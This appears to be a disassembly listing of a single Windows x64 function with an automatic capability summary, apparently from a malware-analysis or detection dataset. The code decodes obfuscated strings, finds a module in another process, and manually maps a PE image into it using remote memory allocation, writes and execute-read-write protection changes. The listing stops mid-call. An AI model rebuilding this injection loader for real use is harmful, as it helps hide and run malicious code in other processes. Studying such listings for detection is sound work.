Function at 0x140016bf0
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Delete file
Enumerate process modules
Execute command
Resolve function by parsing pe exports
Resume thread
Self delete

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x7828
call fcn.14021b430
sub rsp, rax
mov dword [rsp + 0x68], 0
lea rax, [rsp + 0x38c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x38c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x38c0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [0x140269010]
lea rcx, [rsp + 0x38c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8, [rsp + 0x2b50]
lea rdx, [rsp + 0x38c0]
lea rcx, [rsp + 0x4d0]
call fcn.140023540
nop
lea rcx, [rsp + 0x4d0]
call fcn.140015cc0
movzx eax, al
test eax, eax
je 0x140016cb9
lea rcx, [0x140269030]
call fcn.14000a170
mov byte [rsp + 0xa8], 0
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xa8]
jmp 0x140020745
mov qword [rsp + 0x5b0], 0
lea rdx, str.naMupJWdMv5zM2WyoaElYaS5rD
lea rcx, [rsp + 0x1dd0]
call fcn.1400047d0
nop
lea rdx, [rsp + 0x1dd0]
lea rcx, [rsp + 0x2390]
call fcn.140005ba0
mov qword [rsp + 0x1460], rax
mov rax, qword [rsp + 0x1460]
mov qword [rsp + 0x1468], rax
mov rdx, qword [rsp + 0x1468]
lea rcx, [rsp + 0x2370]
call fcn.140005130
mov qword [rsp + 0x1470], rax
mov rax, qword [rsp + 0x1470]
mov qword [rsp + 0x1478], rax
mov rdx, qword [rsp + 0x1478]
lea rcx, [rsp + 0xa90]
call fcn.140005ba0
nop
lea rcx, [rsp + 0x2370]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2390]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1dd0]
call fcn.140004ac0
lea rdx, [0x140268e4c]
lea rcx, [rsp + 0x958]
call fcn.140007ba0
nop
lea rax, [rsp + 0xa90]
mov qword [rsp + 0x908], rax
mov rcx, qword [rsp + 0x908]
call fcn.140008fe0
mov qword [rsp + 0x460], rax
mov rcx, qword [rsp + 0x908]
call fcn.1400152a0
mov qword [rsp + 0x14e0], rax
jmp 0x140016dd7
mov rax, qword [rsp + 0x460]
inc rax
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x14e0]
cmp qword [rsp + 0x460], rax
je 0x140016e16
mov rax, qword [rsp + 0x460]
movzx eax, byte [rax]
mov byte [rsp + 0xa9], al
movsx ax, byte [rsp + 0xa9]
movzx edx, ax
lea rcx, [rsp + 0x958]
call fcn.140011c80
jmp 0x140016dc4
lea r9, [rsp + 0x6ec]
mov r8d, 0x2000
lea rdx, [rsp + 0x5820]
mov rcx, qword [0x140339930]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x140016f58
mov dword [rsp + 0xc8], 0
jmp 0x140016e5d
mov eax, dword [rsp + 0xc8]
inc eax
mov dword [rsp + 0xc8], eax
mov eax, dword [rsp + 0x6ec]
xor edx, edx
mov ecx, 8
div rcx
mov ecx, dword [rsp + 0xc8]
cmp rcx, rax
jae 0x140016f58
mov eax, dword [rsp + 0xc8]
mov r9d, 0x208
lea r8, [rsp + 0x4730]
mov rdx, qword [rsp + rax*8 + 0x5820]
mov rcx, qword [0x140339930]
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x140016f53
lea rdx, [rsp + 0x4730]
lea rcx, [rsp + 0x23b0]
call fcn.140007ba0
mov qword [rsp + 0x14e8], rax
mov rax, qword [rsp + 0x14e8]
mov qword [rsp + 0x14f0], rax
xor r8d, r8d
lea rdx, [rsp + 0x958]
mov rcx, qword [rsp + 0x14f0]
call fcn.140016110
cmp rax, 0xffffffffffffffff
je 0x140016f07
mov dword [rsp + 0x338], 1
jmp 0x140016f12
mov dword [rsp + 0x338], 0
movzx eax, byte [rsp + 0x338]
mov byte [rsp + 0xaa], al
lea rcx, [rsp + 0x23b0]
call fcn.140010d00
movzx eax, byte [rsp + 0xaa]
test eax, eax
je 0x140016f53
mov eax, dword [rsp + 0xc8]
mov rax, qword [rsp + rax*8 + 0x5820]
mov qword [rsp + 0x5b0], rax
jmp 0x140016f58
jmp 0x140016e4d
cmp qword [rsp + 0x5b0], 0
jne 0x140016fad
lea rcx, str.Could_not_locate_module_n
call fcn.14000a170
mov byte [rsp + 0xab], 0
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xab]
jmp 0x140020745
lea rdx, str.DJqVMaWyD2WzM1clMzMhqUV
lea rcx, [rsp + 0x1e10]
call fcn.1400047d0
nop
lea rdx, [rsp + 0x1e10]
lea rcx, [rsp + 0x2470]
call fcn.140005ba0
mov qword [rsp + 0x14f8], rax
mov rax, qword [rsp + 0x14f8]
mov qword [rsp + 0x1500], rax
mov rdx, qword [rsp + 0x1500]
lea rcx, [rsp + 0x2450]
call fcn.140005130
mov qword [rsp + 0x1508], rax
mov rax, qword [rsp + 0x1508]
mov qword [rsp + 0x1510], rax
mov rdx, qword [rsp + 0x1510]
lea rcx, [rsp + 0x2430]
call fcn.140005ba0
mov qword [rsp + 0x1518], rax
mov rax, qword [rsp + 0x1518]
mov qword [rsp + 0x1520], rax
mov rcx, qword [rsp + 0x1520]
call fcn.140008fe0
mov qword [rsp + 0x15d0], rax
lea rdx, str.naMuZmWbYaS5rD
lea rcx, [rsp + 0x1df0]
call fcn.1400047d0
nop
lea rdx, [rsp + 0x1df0]
lea rcx, [rsp + 0x2410]
call fcn.140005ba0
mov qword [rsp + 0x1528], rax
mov rax, qword [rsp + 0x1528]
mov qword [rsp + 0x1530], rax
mov rdx, qword [rsp + 0x1530]
lea rcx, [rsp + 0x23f0]
call fcn.140005130
mov qword [rsp + 0x1538], rax
mov rax, qword [rsp + 0x1538]
mov qword [rsp + 0x1540], rax
mov rdx, qword [rsp + 0x1540]
lea rcx, [rsp + 0x23d0]
call fcn.140005ba0
mov qword [rsp + 0x1548], rax
mov rcx, qword [rsp + 0x1548]
call fcn.140008fe0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x15d8], rax
mov rdx, qword [rsp + 0x15d0]
mov rcx, qword [rsp + 0x15d8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x23d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x23f0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2410]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1df0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2430]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2450]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2470]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1e10]
call fcn.140004ac0
mov rax, qword [rsp + 0x5b0]
add rax, 0x280000
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
sub rax, 0x1000
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x1e0]
add rax, 0x800
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x1e0]
add rax, 0xc00
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x710]
add rax, 0x800
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
add rax, 0x200
mov qword [rsp + 0x1bb8], rax
mov rax, qword [rsp + 0x468]
add rax, 0x400
mov qword [rsp + 0x1bb0], rax
mov rax, qword [rsp + 0x468]
add rax, 0x800
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x468]
add rax, 0x810
mov qword [rsp + 0x15e0], rax
mov rax, qword [rsp + 0x15e0]
add rax, 0x800
mov qword [rsp + 0x918], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x910], rax
mov rax, qword [rsp + 0x910]
add rax, 0x100
mov qword [rsp + 0x1890], rax
mov rax, qword [rsp + 0x910]
add rax, 0xc00
mov qword [rsp + 0x1898], rax
mov rax, qword [rsp + 0x918]
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x4d0]
call fcn.1400159a0
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x478]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x478]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
add rax, 4
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0x470]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x470]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x470]
mov eax, dword [rax + 0x50]
add eax, 0x2000
mov eax, eax
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xb48], rax
mov r8, qword [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x8f0]
call fcn.14000e660
nop
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rsp + 0x1d8]
call fcn.14021b348
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x5b8], rax
mov rdi, qword [rsp + 0x5b8]
xor eax, eax
mov rcx, qword [rsp + 0x1d8]
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x5b8]
mov rdx, qword [rsp + 0x110]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0xad8], rax
mov rcx, qword [rsp + 0xad8]
call fcn.14021b0c4
mov rax, qword [rsp + 0x7840]
mov rax, qword [rax]
mov qword [rsp + 0xb00], rax
mov rax, qword [rsp + 0x7840]
mov rax, qword [rax + 8]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x7840]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xb08], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x478]
mov rdx, qword [rsp + 0x110]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140017508
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140269100]
call fcn.14000a170
mov byte [rsp + 0xac], 0
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xac]
jmp 0x140020745
mov dword [rsp + 0x1d4], 0
jmp 0x140017539
mov eax, dword [rsp + 0x1d4]
inc eax
mov dword [rsp + 0x1d4], eax
mov rax, qword [rsp + 0x298]
add rax, 0x28
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xae0]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x1d4], eax
je 0x14001763d
mov rax, qword [rsp + 0x298]
cmp dword [rax + 0x10], 0
je 0x140017638
mov rax, qword [rsp + 0x298]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x6f8], eax
mov rax, qword [rsp + 0x298]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x478]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xae8], rax
mov rax, qword [rsp + 0x298]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x918]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf0], rax
mov eax, dword [rsp + 0x6f8]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0xae8]
mov rdx, qword [rsp + 0xaf0]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140017638
mov byte [rsp + 0xad], 0
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xad]
jmp 0x140020745
jmp 0x140017515
lea rcx, [rsp + 0x18f0]
call fcn.14000fa60
nop
xor edx, edx
lea rcx, [rsp + 0x4d0]
call fcn.1400117a0
lea r8, [rsp + 0x18f0]
mov rdx, rax
mov rcx, qword [rsp + 0x110]
call fcn.140022c80
nop
lea rcx, [rsp + 0x18f0]
call fcn.140010ed0
lea rdx, [0x140269120]
lea rcx, [rsp + 0x1e30]
call fcn.1400047d0
nop
xor edx, edx
lea rcx, [rsp + 0x4d0]
call fcn.1400117a0
lea r8, [rsp + 0x1e30]
mov rdx, rax
mov rcx, qword [rsp + 0x110]
call fcn.1400162c0
mov qword [rsp + 0x920], rax
lea rcx, [rsp + 0x1e30]
call fcn.140004ac0
cmp qword [rsp + 0x920], 0
jne 0x140017734
lea rcx, str.No_entry_point_n
call fcn.14000a170
mov byte [rsp + 0xae], 0
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xae]
jmp 0x140020745
lea rdx, [rsp + 0x920]
mov rcx, qword [rsp + 0x720]
call fcn.14000ea00
mov qword [rsp + 0xb38], 0
mov dword [rsp + 0x1448], 0
mov rax, qword [rsp + 0x110]
sub rax, 0x340
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x110]
sub rax, 0x260
mov qword [rsp + 0x18a0], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
add rax, 0x800
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf8]
add rax, 0x40
mov qword [rsp + 0x18a8], rax
mov rax, qword [rsp + 0x108]
add rax, 0xc00
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x320]
add rax, 0x180
mov qword [rsp + 0x18b0], rax
mov rax, qword [rsp + 0x320]
add rax, 0x188
mov qword [rsp + 0x18b8], rax
mov rax, qword [rsp + 0x320]
add rax, 0x190
mov qword [rsp + 0x18c0], rax
mov rax, qword [rsp + 0x320]
add rax, 0x178
mov qword [rsp + 0x18c8], rax
mov rax, qword [rsp + 0x108]
add rax, 0x1000
mov qword [rsp + 0x18d0], rax
mov rax, qword [rsp + 0x108]
add rax, 0x1400
mov qword [rsp + 0x928], rax
mov rax, qword [rsp + 0x108]
add rax, 0x17c0
mov qword [rsp + 0xb78], rax
mov rax, qword [rsp + 0x108]
add rax, 0x1800
mov qword [rsp + 0x18d8], rax
mov rax, qword [rsp + 0x7840]
add rax, 0x5b4
mov rdx, rax
lea rcx, [rsp + 0x1e50]
call fcn.140007ba0
nop
lea rdx, [rsp + 0x1e50]
mov rcx, qword [rsp + 0x928]
call fcn.1401cb590
nop
lea rcx, [rsp + 0x1e50]
call fcn.140010d00
lea rdx, [rsp + 0xb00]
mov rcx, qword [rsp + 0x38]
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 8
lea rdx, [rsp + 0x718]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x10
lea rdx, [rsp + 0xb08]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x18
lea rdx, [rsp + 0x928]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x20
lea rdx, [rsp + 0x108]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
mov edx, dword [rax + 0xb8]
lea rcx, [rsp + 0x1908]
call fcn.140015da0
nop
lea rax, [rsp + 0x1908]
mov qword [rsp + 0x708], rax
mov rcx, qword [rsp + 0x708]
call fcn.1400068b0
mov qword [rsp + 0x480], rax
mov rcx, qword [rsp + 0x708]
call fcn.140008cd0
mov qword [rsp + 0xb10], rax
jmp 0x1400179c8
mov rax, qword [rsp + 0x480]
add rax, 4
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0xb10]
cmp qword [rsp + 0x480], rax
je 0x140017a18
mov rax, qword [rsp + 0x480]
mov eax, dword [rax]
mov dword [rsp + 0x520], eax
mov rax, qword [rsp + 0x7840]
add rax, 0x390
mov qword [rsp + 0xb18], rax
lea rdx, [rsp + 0x520]
mov rcx, qword [rsp + 0xb18]
call fcn.140023310
jmp 0x1400179b4
lea rcx, [rsp + 0x1908]
call fcn.140010e90
lea rcx, [rsp + 0x978]
call fcn.14000fa60
nop
mov rax, qword [rsp + 0x7840]
add rax, 0x390
mov rcx, rax
call fcn.140024520
shl rax, 2
mov rdx, rax
lea rcx, [rsp + 0x978]
call fcn.1400241f0
mov rax, qword [rsp + 0x7840]
add rax, 0x390
mov rcx, rax
call fcn.140024520
shl rax, 2
mov qword [rsp + 0xb28], rax
mov rcx, qword [rsp + 0x7840]
add rcx, 0x390
call fcn.1400159a0
mov qword [rsp + 0xb20], rax
xor edx, edx
lea rcx, [rsp + 0x978]
call fcn.1400117a0
mov rdi, rax
mov rax, qword [rsp + 0xb20]
mov rsi, rax
mov rax, qword [rsp + 0xb28]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x978]
mov rcx, qword [rsp + 0x108]
call fcn.14000e910
mov rax, qword [rsp + 0x7840]
add rax, 0x390
mov rcx, rax
call fcn.140024520
mov qword [rsp + 0xb30], rax
mov rax, qword [rsp + 0x38]
add rax, 0x28
lea rdx, [rsp + 0xb30]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
add rax, 0x98
mov rcx, qword [rsp + 0x38]
add rcx, 0x30
mov rdx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
add rax, 0xa8
mov rcx, qword [rsp + 0x38]
add rcx, 0x38
mov rdx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x40
lea rdx, [rsp + 0x710]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0xb38]
mov rcx, qword [rsp + 0x718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb40], rax
mov rax, qword [rsp + 0x38]
add rax, 0x48
lea rdx, [rsp + 0xb40]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x50
lea rdx, [rsp + 0xb48]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x58
lea rdx, [rsp + 0x1d8]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
add rax, 0x88
mov rcx, qword [rsp + 0x38]
add rcx, 0x60
mov rdx, rax
call fcn.14000ea00
mov dword [rsp + 0x524], 0
mov rax, qword [rsp + 0x38]
add rax, 0x68
lea rdx, [rsp + 0x524]
mov rcx, rax
call fcn.14000e9a0
mov dword [rsp + 0x528], 0
mov rax, qword [rsp + 0x38]
add rax, 0x70
lea rdx, [rsp + 0x528]
mov rcx, rax
call fcn.14000e9a0
mov rax, qword [rsp + 0x7840]
add rax, 0x5b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x52c], eax
mov rax, qword [rsp + 0x38]
add rax, 0x78
lea rdx, [rsp + 0x52c]
mov rcx, rax
call fcn.14000e9a0
mov qword [rsp + 0xb50], 1
mov rax, qword [rsp + 0x38]
add rax, 0x80
lea rdx, [rsp + 0xb50]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
add rax, 0x48
mov rcx, qword [rsp + 0x38]
add rcx, 0x88
mov rdx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
mov eax, dword [rax + 0x90]
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0x38]
add rax, 0xa0
lea rdx, [rsp + 0xb58]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0xa8
lea rdx, [0x140338af0]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
movsxd rax, dword [rax + 0x388]
mov qword [rsp + 0xb60], rax
mov rax, qword [rsp + 0x38]
add rax, 0xb0
lea rdx, [rsp + 0xb60]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x7840]
add rax, 0x320
mov rcx, qword [rsp + 0x38]
add rcx, 0xb8
mov rdx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0xc0
lea rdx, [rsp + 0x320]
mov rcx, rax
call fcn.14000ea00
mov qword [rsp + 0xb68], 0
mov rax, qword [rsp + 0x38]
add rax, 0xc8
lea rdx, [rsp + 0xb68]
mov rcx, rax
call fcn.14000ea00
mov qword [rsp + 0xb70], 0
mov rax, qword [rsp + 0x38]
add rax, 0xd0
lea rdx, [rsp + 0xb70]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0xd8
lea rdx, [rsp + 0xb78]
mov rcx, rax
call fcn.14000ea00
mov qword [rsp + 0xb80], 0
mov rax, qword [rsp + 0x38]
add rax, 0xe0
lea rdx, [rsp + 0xb80]
mov rcx, rax
call fcn.14000ea00
mov qword [rsp + 0xb88], 0
mov rax, qword [rsp + 0x38]
add rax, 0xe8
lea rdx, [rsp + 0xb88]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x38]
add rax, 0x80
mov qword [rsp + 0x18e0], rax
lea rdx, str.PvNtVPNtVPNtrz52LGbXVPNtVPNtVPNtVPNtL2uzqFOyZGHXVPNtVPNtVPNtVPNtrzWcVTHkAFjtMJMwPvNtVPNtVPNtVPNtVP8iMzuiVTIzLljtZQNjZQNjBGO1PvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rzcvMKRtL2qyJ2IzL10fVTg6rwNXVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6nzWypFOwM2IoMJMwVPftZGO1KFjtn3c6ZDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOeracdLzIkVTAaMIgyMzZtXlNlZUIqYPOerablPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rzcvMKRtL2qyJ2IzLlNeVQZjqI0fVTg6rwZXVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6nzWypFOwM2IoMJMwVPftAQO1KFjtn3c6ANbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOeracdLzIkVTAaMIgyMzZtXlN1ZUIqYPOerab1PvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rzcvMKRtL2qyJ2IzLlNeVQLjqI0fVTg6rwLXVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6nzWypFOwM2IoMJMwVPftAmO1KFjtn3c6AjbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOeracdLzIkVTAaMIgyMzZtXlN4ZUIqYPOerab4PvNtVPNtVPNtVPNtVTAbMaImMNbtVPNtVPNtVPNtVPOwnTM1VTIhnjbtVPNtVPNtVPNtVPOwnTM1VTIjnjbtVPNtVPNtVPNtVPOwnTM1VTIknjbtVPNtVPNtVPNtVPOwnTM1VTIinjbtVPNtVPNtVPNtVPOwnTM1VTIzLjbtVPNtVPNtVPNtVPOwnTM1VTIiLjbtVPNtVPNtVPNtVPOwnTM1VTIzqtbtVPNtVPNtVPNtVPOwnTM1VTIkqtbtVPNtVPNtVPNtVPOwnTM1VTH4PvNtVPNtVPNtVPNtVTAbMaHtMGxXVPNtVPNtVPNtVPNtL2uzqFOyZGNXVPNtVPNtVPNtVPNtL2uzqFOyZGRXVPNtVPNtVPNtVPNtL2uzqFOyZGVXVPNtVPNtVPNtVPNtL2uzqFOyZGZXVPNtVPNtVPNtVPNtL2uzqFOyZGDXVPNtVPNtVPNtVPNtMzuiVTIzLljtZQNjZQRjZQO1PvNtVPNtVPNtVPNtVUcvnFOypTffVPHjZGM5rHg1PvNtVPNtVPNtVPNtVUOhrKxtJlHjZGM5rHg1KDbtVPNtVPNtVPNtVPOhpKRtMJMwYPNjZQNjZGNjZUHXVPNtVPNtVPNtVPNtL2WwVTHkANbtVPNtVPNtVPNtVPOwLzZtMGRmPvNtVPNtVPNtVPNtVTAvLlOyZGVXVPNtVPNtVPNtVPNtL2WwVTHkZDbtVPNtVPNtVPNtVPOwLzZtMGRjPvNtVPNtVPNtVPNtVTAvLlOyBDbtVPNtVPNtVPNtVPOwLzZtMGtXVPNtVPNtVPNtVPNtL2WwVTIkqtbtVPNtVPNtVPNtVPOwLzZtMJM2PvNtVPNtVPNtVPNtVTAvLlOyo2ZXVPNtVPNtVPNtVPNtL2WwVTIzLjbtVPNtVPNtVPNtVPOwLzZtMJ9ePvNtVPNtVPNtVPNtVTAvLlOypJfXVPNtVPNtVPNtVPNtL2WwVTIjnjbtVPNtVPNtVPNtVPOwLzZtMJ5ePvNtVPNtVPNtVPNtVTAvL3AxPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rwNfVTg6rzcvMKRtL2qyJ2IzL10XVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6ZFjtn3c6nzWypFOwM2IoMJMwVPftZGO1KDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOerablYPOeracdLzIkVTAaMIgyMzZtXlNlZUIqPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rwZfVTg6rzcvMKRtL2qyJ2IzLlNeVQZjqI0XVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6APjtn3c6nzWypFOwM2IoMJMwVPftAQO1KDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOerab1YPOeracdLzIkVTAaMIgyMzZtXlN1ZUIqPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rwLfVTg6rzcvMKRtL2qyJ2IzLlNeVQLjqI0XVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6Aljtn3c6nzWypFOwM2IoMJMwVPftAmO1KDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOerab4YPOeracdLzIkVTAaMIgyMzZtXlN4ZUIqPvNtVPNtVPNtVPNtVP8ioaSkVTIzLljtZQNjZQNjBGO1PvNtVPNtVPNtVPNtVUcvnFOyMzZfVTHkADbtVPNtVPNtVPNtVPOwLzZtMGR1PvNtVPNtVPNtVPNtVTIlM2RXPFNtVPN
lea rcx, [rsp + 0x1e70]
call fcn.1400047d0
nop
lea rdx, [rsp + 0x1e70]
lea rcx, [rsp + 0x24d0]
call fcn.140005ba0
mov qword [rsp + 0xb90], rax
mov rax, qword [rsp + 0xb90]
mov qword [rsp + 0xb98], rax
mov rdx, qword [rsp + 0xb98]
lea rcx, [rsp + 0x24b0]
call fcn.140005130
mov qword [rsp + 0xba0], rax
mov rax, qword [rsp + 0xba0]
mov qword [rsp + 0xba8], rax
mov rdx, qword [rsp + 0xba8]
lea rcx, [rsp + 0x2490]
call fcn.140005ba0
mov qword [rsp + 0xbb0], rax
mov rcx, qword [rsp + 0xbb0]
call fcn.140008fe0
mov r9, qword [rsp + 0x720]
mov r8, qword [rsp + 0x110]
mov rdx, rax
lea rcx, [rsp + 0x4940]
call fcn.14000ea60
lea rcx, [rsp + 0x2490]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x24b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x24d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1e70]
call fcn.140004ac0
nop
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0xbb8], rax
lea rdx, [rsp + 0x4940]
lea rcx, [rsp + 0x1e90]
call fcn.1400047d0
mov qword [rsp + 0x18e8], rax
mov r9, qword [rsp + 0xbb8]
lea r8, [rsp + 0x1e90]
lea rdx, [rsp + 0x1eb0]
lea rcx, [0x140338e00]
call fcn.14010b110
mov qword [rsp + 0x1bc0], rax
lea rcx, [rsp + 0x1e90]
call fcn.140004ac0
lea rdx, [rsp + 0x1eb0]
mov rcx, qword [rsp + 0x5c0]
call fcn.14000e910
nop
lea rcx, [rsp + 0x1eb0]
call fcn.140010fd0
nop
jmp 0x140017fb7
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x120
mov r8d, 0x3ff
mov rdx, qword [rsp + 0x730]
mov rcx, qword [0x140339930]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x14c8]
call fcn.14000e660
nop
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [0x140339930]
